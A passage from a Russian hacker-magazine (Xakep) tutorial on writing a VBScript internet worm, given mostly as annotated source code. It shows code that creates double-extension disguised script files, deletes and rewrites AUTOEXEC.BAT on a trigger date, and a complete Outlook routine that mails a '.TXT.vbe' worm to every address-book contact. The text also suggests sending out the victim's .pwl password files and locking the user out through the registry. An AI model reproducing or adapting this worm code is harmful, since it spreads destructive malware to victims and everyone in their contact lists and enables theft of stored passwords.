Интернет черви. Технология работы одного червя на VBS

Xakep, номер #046, стр. 046-052-2


FST.DeleteFolder("C:\Radias") // ... она удаляется :)

end if // не стоит забывать о конструкции if...end if.

If Not FST.FolderExists("C:\Radias") Then // если папка не существует, то...

FST.CreateFolder("C:\Radias") // ... она создается.

Set fsoo = CreateObject("Scripting.FileSystemObject")

Set shellptxtvbs=fsoo.CreateTextFile("C:\Radias\this-is-a-radio-set-model-group.txt.vbs") // создается файл в папке.

shellptxtvbs.WriteLine "Первая строка файла" // добавляются строки в файл (в кавычках строка нового файла).

shellptxtvbs.close // после окончания работы необходимо закрыть файл.

end if

Шалости с autoexec.bat

Теперь посмотрим, как червь работает со временем и изменяет файлы. Но перед дальнейшим просмотром необходимо запомнить одно правило: новая строка начинается с shellptxtvbs.WriteLine и идет в кавычках.

if Day(now)=21 Then // если сегодня мой день рождения :). Знак равенства может быть успешно заменен на > или <.

Set Killer=CreateObject("Scripting.FileSystemObject")

Killer.DeleteFile("C:\AUTOEXEC.BAT") // удаляется всеми любимый файл AUTOEXEC.BAT.

Set Hacker = CreateObject("Scripting.FileSystemObject")

set xakep =Hacker.CreateTextFile("C:\AUTOEXEC.BAT") // вот он снова создается.

xakep.WriteLine "hi, braza!" // пишем туда "привет".

xakep.close // конЭц.

End if

Но хватит с автоэкзеком, вернемся к реестру. Пока атакуемый догадается залезть в regedit, можно успеть отключить все, что подлежит выключению. Потом запустить все необходимое и вообще перекрыть кислород пользователю :). А как баловаться в реестре, можно понять из вышеописанного кода. Если есть какие-то вопросы, то можно поискать в Интернете или покопаться в старых номерах "Хакера".

Рассылка по базе

А теперь о решении проблемы с рассылкой. Ниже дан код с небольшими описаниями (а-ля комментариями). Если с ним разобраться, то, не особо фантазируя, станет ясно, какие же просторы открывают эти строчки! Ведь можно рассылать не только сам вирь, но и другие файлы с компьютера врага. В том числе и .pwl файлы или еще что-нибудь.

sub spreadtoemail()

On Error Resume next

dim x,a,ctrlists,ctrentries,malead,b,regeedit,regv,regad

set regeedit=CreateObject("WScript.Shell")

set out=WScript.CreateObject("Outlook.Application")

set mapi=out.GetNameSpace("MAPI")

for ctrlists=1 to mapi.AddressLists.Count

set a=mapi.AddressLists(ctrlists)

x=1

regv=regeedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a)

if (regv="") then

regv=1

end if

if (int(a.AddressEntries.Count)>int(regv)) then

for ctrentries=1 to a.AddressEntries.Count

malead=a.AddressEntries(x)

regad=""

regad=regeedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead)

if (regad="") then

set male=out.CreateItem(0)

male.Recipients.Add(malead)

male.Subject = "Hi!" // тема письма.

male.Body = "I have a cool thing to show u!" // тело письма.

male.Attachments.Add("C:\qwty\JOKE-FOR-YOU.TXT.vbe") // червячок, готовый к полету

male.Send

regeedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD"

end if

x=x+1

next

regeedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count

Назад на стр. 046-052-1  Содержание  Вперед на стр. 046-052-3